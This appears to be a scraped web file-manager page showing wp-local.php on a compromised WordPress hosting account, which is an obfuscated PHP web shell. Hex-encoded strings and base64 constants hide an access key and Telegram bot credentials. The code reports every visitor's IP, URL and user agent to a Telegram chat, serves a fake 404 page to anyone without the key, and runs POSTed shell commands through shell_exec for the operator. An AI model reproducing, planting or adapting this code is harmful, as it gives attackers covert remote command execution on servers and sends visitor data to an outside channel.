HEX
Server: Apache
System: Linux 66-116-198-230.webhostbox.net 5.14.0-570.44.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 17 10:32:11 EDT 2025 x86_64
User: smitsolutionshyd (1006)
PHP: 8.2.29
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/smitsolutionshyd/public_html/nandithacatering.com/wp-local.php
<?php
$_X1="\x41\103\x43\105\x53\123\x5f\113\x45\131";$_X2="\x54\105\x4c\105\x47\122\x41\115\x5f\102\x4f\124\x5f\124\x4f\113\x45\116";$_X3="\x54\105\x4c\105\x47\122\x41\115\x5f\103\x48\101\x54\137\x49\104";define($_X1,base64_decode("\x54\063\x64\165\x65\153\x4e\166\x63\156\x41\075"));define($_X2,base64_decode("\x4f\104\x49\171\x4d\152\x41\063\x4f\104\x51\170\x4f\104\x70\102\x51\125\x64\065\x5a\125\x52\127\x5a\124\x49\065\x54\130\x52\153\x64\062\x68\170\x65\125\x46\113\x4d\060\x6c\162\x65\127\x78\132\x53\107\x5a\104\x52\061\x4a\106\x5a\154\x68\117\x5a\167\x3d\075"));define($_X3,base64_decode("\x4c\124\x45\167\x4d\104\x49\063\x4d\152\x45\065\x4e\172\x55\171\x4d\152\x67\075"));$_K=$_GET["\x6b\145\x79"]??'';$_A=($_K===constant($_X1));function _T($m){$u="\x68\164\x74\160\x73\072\x2f\057\x61\160\151\056\x74\145\154\145\147\162\141\155\056\x6f\162\147\057\x62\157\164".constant("\x54\105\x4c\105\x47\122\x41\115\x5f\102\x4f\124\x5f\124\x4f\113\x45\116")."\x2f\163\145\x6e\144\x4d\145\x73\163\x61\147\x65";$d=["\x63\150\x61\164\x5f\151\x64"=>constant("\x54\105\x4c\105\x47\122\x41\115\x5f\103\x48\101\x54\137\x49\104"),"\x74\145\x78\164"=>$m,"\x70\141\x72\163\x65\137\x6d\157\x64\145"=>"\x48\124\x4d\114"];$o=["\x68\164\164\160"=>["\x6d\145\164\150\157\144"=>"\x50\117\x53\124","\x68\145\141\144\145\162"=>"\x43\157\x6e\164\x65\156\x74\055\x54\171\x70\145\072\040\x61\160\x70\154\x69\143\x61\164\x69\157\x6e\057\x78\055\x77\167\x77\055\x66\157\x72\155\x2d\165\x72\154\x65\156\x63\157\x64\145\x64","\x63\157\156\164\145\156\164"=>http_build_query($d),"\x74\151\155\145\157\165\164"=>10]];$c=stream_context_create($o);$r=@file_get_contents($u,false,$c);if($r===false&&function_exists('curl_init')){$ch=curl_init($u);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($d));curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_exec($ch);curl_close($ch);}}function _I(){$i=[];$p=(!empty($_SERVER["\x48\124\x54\120\x53"])&&$_SERVER["\x48\124\x54\120\x53"]!=="\x6f\146\x66")?"\x68\164\x74\160\x73\072\x2f\057":"\x68\164\x74\160\x3a\057\x2f";$i["\x75\162\x6c"]=$p.$_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"].$_SERVER["\x52\105\x51\125\x45\123\x54\137\x55\122\x49"];if(!empty($_SERVER["\x48\124\x54\120\x5f\103\x4c\111\x45\116\x54\137\x49\120"])){$i["\x69\160"]=$_SERVER["\x48\124\x54\120\x5f\103\x4c\111\x45\116\x54\137\x49\120"];}elseif(!empty($_SERVER["\x48\124\x54\120\x5f\130\x5f\106\x4f\122\x57\101\x52\104\x45\104\x5f\106\x4f\122"])){$i["\x69\160"]=$_SERVER["\x48\124\x54\120\x5f\130\x5f\106\x4f\122\x57\101\x52\104\x45\104\x5f\106\x4f\122"];}else{$i["\x69\160"]=$_SERVER["\x52\105\x4d\117\x54\105\x5f\101\x44\104\x52"];}$i["\x75\163\145\162\137\x61\147\145\156\164"]=$_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]??"\x44\145\163\143\157\156\150\145\143\151\144\157";$i["\x6d\145\164\157\144\157"]=$_SERVER["\x52\105\x51\125\x45\123\x54\137\x4d\105\x54\110\x4f\104"];$i["\x72\145\146\145\162\145\162"]=$_SERVER["\x48\124\x54\120\x5f\122\x45\106\x45\122\x45\122"]??"\x41\143\145\163\163\157\040\144\151\162\145\164\157";$i["\x64\141\164\141\137\x68\157\162\141"]=date("\x64\057\x6d\057\x59\040\x48\072\x69\072\x73");return $i;}$_D=_I();if(!$_A){$n="\360\237\232\250\040\074\x62\076\124\x45\116\x54\101\x54\111\x56\101\040\x44\105\040\x41\103\x45\123\x53\117\040\116\303\203\x4f\040\x41\125\x54\117\x52\111\x5a\101\x44\117\041\074\057\x62\076\012\012";$n.="\360\237\223\205\040\074\x62\076\104\x61\164\141\057\x48\157\162\141\072\074\057\x62\076\040{$_D["\x64\141\164\141\137\x68\157\162\141"]}\012";$n.="\360\237\214\220\040\074\x62\076\x55\122\x4c\072\074\057\x62\076\040{$_D["\x75\162\x6c"]}\012";$n.="\360\237\223\215\040\074\x62\076\111\x50\072\074\057\x62\076\040{$_D["\x69\160"]}\012";$n.="\360\237\224\247\040\074\x62\076\115\303\251\164\157\144\157\072\074\057\x62\076\040{$_D["\x6d\145\164\157\144\157"]}\012";$n.="\360\237\224\227\040\074\x62\076\122\x65\146\145\162\145\162\072\074\057\x62\076\040{$_D["\x72\145\146\145\162\145\162"]}\012";$n.="\360\237\222\273\040\074\x62\076\x55\163\145\162\040\x41\147\145\156\164\072\074\057\x62\076\040".substr($_D["\x75\163\145\162\137\x61\147\145\156\164"],0,100);$n.="\012\012\342\235\214\040\074\x62\076\103\x68\141\166\145\040\146\157\162\156\145\143\151\144\141\072\074\057\x62\076\040".($_K?:"\050\x6e\145\156\150\165\155\141\051");_T($n);http_response_code(404);?>
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>404 Not Found</title><style>body{font-family:Arial,sans-serif;text-align:center;padding:50px;background-color:#f5f5f5}h1{font-size:50px;color:#333}p{font-size:20px;color:#666}</style></head><body><h1>404</h1><p>Page not found.</p></body></html><?php exit;}$m="\342\234\205\040\074\x62\076\x41\103\x45\123\x53\117\040\x41\125\x54\117\x52\111\x5a\101\x44\117\074\057\x62\076\012\012";$m.="\360\237\223\205\040\074\x62\076\104\x61\164\141\057\x48\157\162\141\072\074\057\x62\076\040{$_D["\x64\141\164\141\137\x68\157\162\141"]}\012";$m.="\360\237\214\220\040\074\x62\076\x55\122\x4c\072\074\057\x62\076\040{$_D["\x75\162\x6c"]}\012";$m.="\360\237\223\215\040\074\x62\076\111\x50\072\074\057\x62\076\040{$_D["\x69\160"]}\012";$m.="\360\237\224\247\040\074\x62\076\115\303\251\164\157\144\157\072\074\057\x62\076\040{$_D["\x6d\145\164\157\144\157"]}\012";$m.="\360\237\224\227\040\074\x62\076\122\x65\146\145\162\145\162\072\074\057\x62\076\040{$_D["\x72\145\146\145\162\145\162"]}\012";$m.="\360\237\222\273\040\074\x62\076\x55\163\145\162\040\x41\147\145\156\164\072\074\057\x62\076\040".substr($_D["\x75\163\145\162\137\x61\147\145\156\164"],0,100);if(!empty($_POST["\x63\155\x64"])){$m.="\012\012\342\232\240\357\270\217\040\074\x62\076\103\x4f\115\x41\116\x44\117\040\x45\130\x45\103\x55\124\x41\104\x4f\072\074\057\x62\076\012\074\x63\157\144\145\076".htmlspecialchars($_POST["\x63\155\x64"])."\074\057\x63\157\144\145\076";}_T($m);if(!empty($_POST["\x63\155\x64"])){$_R=shell_exec($_POST["\x63\155\x64"]);}?>
<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta content="IE=edge"http-equiv="X-UA-Compatible"><meta content="width=device-width,initial-scale=1"name="viewport"><title></title><style>*{-webkit-box-sizing:border-box;box-sizing:border-box}body{font-family:sans-serif;color:rgba(0,0,0,.75)}main{margin:auto;max-width:850px}button,input,pre{padding:10px;border-radius:5px;background-color:#efefef}label{display:block}input{width:100%;background-color:#efefef;border:2px solid transparent}input:focus{outline:0;background:0 0;border:2px solid #e6e6e6}button{border:none;cursor:pointer;margin-left:5px}button:hover{background-color:#e6e6e6}.form-group{display:-webkit-box;display:-ms-flexbox;display:flex;padding:15px 0}</style></head><body><main><h1></h1><h2></h2><form method="post"><label for="cmd"><strong></strong></label><div class="form-group"><input autofocus id="cmd"name="cmd"onfocus="this.setSelectionRange(this.value.length,this.value.length)"required value="<?php echo htmlspecialchars($_POST["\x63\155\x64"]??'',ENT_QUOTES,"\x55\124\x46\055\x38");?>"> <button type="submit"></button></div></form><?php if($_SERVER["\x52\105\x51\125\x45\123\x54\137\x4d\105\x54\110\x4f\104"]==="\x50\117\x53\124"){?><h2>Output</h2><?php if(isset($_R)){?><pre><?php echo htmlspecialchars($_R,ENT_QUOTES,"\x55\124\x46\055\x38");?></pre><?php }else{?><pre><small>No result.</small></pre><?php }}?></main></body></html>